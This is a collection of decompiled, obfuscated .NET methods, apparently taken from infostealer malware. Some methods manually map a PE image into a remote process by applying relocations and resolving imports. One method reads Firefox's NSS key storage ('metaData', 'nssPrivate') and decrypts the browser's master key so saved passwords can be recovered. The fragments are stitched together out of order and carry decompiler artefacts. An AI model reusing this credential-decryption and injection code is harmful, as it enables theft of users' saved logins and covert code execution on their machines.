// Token: 0x06000355 RID: 853 RVA: 0x010391E4 File Offset: 0x010373E4 private static void smethod_9(GClass8 gclass8_0, IntPtr intptr_7) { GStruct5 gstruct = gclass8_0.GStruct9_0.OptionalHeader.DataDirectory[5]; if (gstruct.Size > 0u) { uint num = 0u; uint num2 = (uint)(intptr_7.ToInt32() - (int)gclass8_0.GStruct9_0.OptionalHeader.ImageBase); uint num3 = gclass8_0.method_11(gstruct.VirtualAddress); uint num4 = (uint)Marshal.SizeOf(typeof(GStruct4)); GStruct4 gstruct2; while (num < gstruct.Size && gclass8_0.method_3 <GStruct4>((long)((ulong)num3), SeekOrigin.Begin, out gstruct2)) { int num5 = (int)((gstruct2.SizeOfBlock - num4) / 2u); uint num6 = gclass8_0.method_11(gstruct2.VirtualAddress); for (int i = 0; i < num5; i++) { ushort num7; if (gclass8_0.method_3 <ushort>((long)((ulong)(num3 + num4) + (ulong)((long)((long)i << 1))), SeekOrigin.Begin, out num7) && (num7 >> 12 & 3) != 0) { uint num8 = num6 + (uint)(num7 & 4095); uint num9; if (!gclass8_0.method_3 <uint>((long)((ulong)num8), SeekOrigin.Begin, out num9)) { throw gclass8_0.vmethod_1(); } gclass8_0.method_7 <uint>(-4L, SeekOrigin.Current, num9 + num2); } } num += gstruct2.SizeOfBlock; num3 += gstruct2.SizeOfBlock; } } }
// Token: 0x06000322 RID: 802 RVA: 0x01037E14 File Offset: 0x01036014 public GClass15(GClass8 gclass8_1, GStruct13 gstruct13_1, bool bool_1, uint uint_3) : base(gclass8_1, gstruct13_1, bool_1, uint_3) { if (!gclass8_1.method_3 <GStruct12>((long)((ulong)(uint_3 + (gstruct13_1.SubdirectoryRva ^ 2147483648u))), SeekOrigin.Begin, out this.gstruct12_0)) { throw gclass8_1.vmethod_1(); } }
// Token: 0x06000326 RID: 806 RVA: 0x01037F7C File Offset: 0x0103617C public GClass16(GClass8 gclass8_1, GStruct13 gstruct13_1, bool bool_1, uint uint_1) : base(gclass8_1, gstruct13_1, bool_1, uint_1) { if (!gclass8_1.method_3 <GStruct11>((long)((ulong)(this.uint_0 + gstruct13_1.DataEntryRva)), SeekOrigin.Begin, out this.gstruct11_0)) { throw gclass8_1.vmethod_1(); } }
// Token: 0x06000157 RID: 343 RVA: 0x0000BFC4 File Offset: 0x0000A1C4 private static byte[] smethod_9(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (File.Exists(string_3)) { GClass8 gclass = new GClass8(string_3); gclass.method_3("metaData"); string s = gclass.method_2(0, "item1"); string s2 = gclass.method_2(0, "item2)"); GClass12 gclass2 = GClass10.smethod_0(Encoding.Default.GetBytes(s2)); byte[] byte_ = gclass2.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0; byte[] byte_2 = gclass2.List_0[0].List_0[1].Byte_0; GClass16 gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_); gclass3.method_0(); GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.None); gclass.method_3("nssPrivate"); int int32_ = gclass.Int32_0; string s3 = string.Empty; for (int i = 0; i < int32_; i++) { if (gclass.method_2(i, "a102") == Encoding.Default.GetString(Class13.byte_0)) { s3 = gclass.method_2(i, "a11"); IL_176: GClass12 gclass4 = GClass10.smethod_0(Encoding.Default.GetBytes(s3)); byte_ = gclass4.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0; byte_2 = gclass4.List_0[0].List_0[1].Byte_0; gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_); gclass3.method_0(); array = Encoding.Default.GetBytes(GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.PKCS7)); return(array); } } goto IL_176; } result = array; } catch (Exception) { result = array; } return(result); }
// Token: 0x06000354 RID: 852 RVA: 0x01038FC8 File Offset: 0x010371C8 private static void smethod_8(GClass8 gclass8_0, IntPtr intptr_7, int int_0) { string empty = string.Empty; string empty2 = string.Empty; foreach (GStruct8 gstruct in gclass8_0.method_8()) { if (gclass8_0.method_4((long)((ulong)gclass8_0.method_11(gstruct.Name)), SeekOrigin.Begin, out empty, -1, null)) { IntPtr intPtr = IntPtr.Zero; intPtr = Class7.smethod_3(empty, int_0); if (intPtr.smethod_4()) { throw new FileNotFoundException(string.Format("Unable to load dependent module '{0}'.", empty)); } uint num = gclass8_0.method_11(gstruct.FirstThunkPtr); uint num2 = (uint)Marshal.SizeOf(typeof(GStruct15)); GStruct15 gstruct2; while (gclass8_0.method_3 <GStruct15>((long)((ulong)num), SeekOrigin.Begin, out gstruct2) && gstruct2.u1.AddressOfData > 0u) { IntPtr intPtr2 = IntPtr.Zero; object obj; if ((gstruct2.u1.Ordinal & 2147483648u) != 0u) { obj = (ushort)(gstruct2.u1.Ordinal & 65535u); } else { if (!gclass8_0.method_4((long)((ulong)(gclass8_0.method_11(gstruct2.u1.AddressOfData) + 2u)), SeekOrigin.Begin, out empty2, -1, null)) { throw gclass8_0.vmethod_1(); } obj = empty2; } if (!(intPtr2 = GClass5.GetModuleHandleA(empty)).smethod_4()) { IntPtr intPtr3 = obj.GetType().Equals(typeof(string)) ? GClass5.GetProcAddress(intPtr2, (string)obj) : GClass5.GetProcAddress_1(intPtr2, (uint)((ushort)obj & ushort.MaxValue)); if (!intPtr3.smethod_4()) { intPtr2 = intPtr.smethod_0((long)intPtr3.smethod_6((long)intPtr2.ToInt32()).ToInt32()); } } else { intPtr2 = GClass5.smethod_3(intptr_7, intPtr, obj); } if (intPtr2.smethod_4()) { throw new EntryPointNotFoundException(string.Format("Unable to locate imported function '{0}' from module '{1}' in the remote process.", empty2, empty)); } gclass8_0.method_7 <int>((long)((ulong)num), SeekOrigin.Begin, intPtr2.ToInt32()); num += num2; } } } }
// Token: 0x0600031F RID: 799 RVA: 0x01037D64 File Offset: 0x01035F64 public GClass13(GClass8 gclass8_0) { GStruct5 gstruct = gclass8_0.GStruct9_0.OptionalHeader.DataDirectory[2]; if (gstruct.VirtualAddress > 0u && gstruct.Size > 0u) { uint uint_; GStruct12 gstruct2; if (!gclass8_0.method_3 <GStruct12>((long)((ulong)(uint_ = gclass8_0.method_11(gstruct.VirtualAddress))), SeekOrigin.Begin, out gstruct2)) { throw gclass8_0.vmethod_1(); } GStruct13 gstruct13_ = new GStruct13 { SubdirectoryRva = 2147483648u }; this.GClass15_0 = new GClass13.GClass15(gclass8_0, gstruct13_, false, uint_); } }
// Token: 0x06000328 RID: 808 RVA: 0x0103800C File Offset: 0x0103620C public GClass14(GClass8 gclass8_1, GStruct13 gstruct13_1, bool bool_1, uint uint_1) { this.gclass8_0 = gclass8_1; this.gstruct13_0 = gstruct13_1; this.Boolean_0 = bool_1; if (bool_1) { ushort num = 0; if (gclass8_1.method_3 <ushort>((long)((ulong)(uint_1 + (gstruct13_1.NameRva & 2147483647u))), SeekOrigin.Begin, out num)) { byte[] byte_ = new byte[(int)num << 1]; if (gclass8_1.method_2(0L, SeekOrigin.Current, byte_)) { this.string_0 = GClass13.GClass14.smethod_1(GClass13.GClass14.smethod_0(), byte_); } } if (this.string_0 == null) { throw gclass8_1.vmethod_1(); } } this.uint_0 = uint_1; }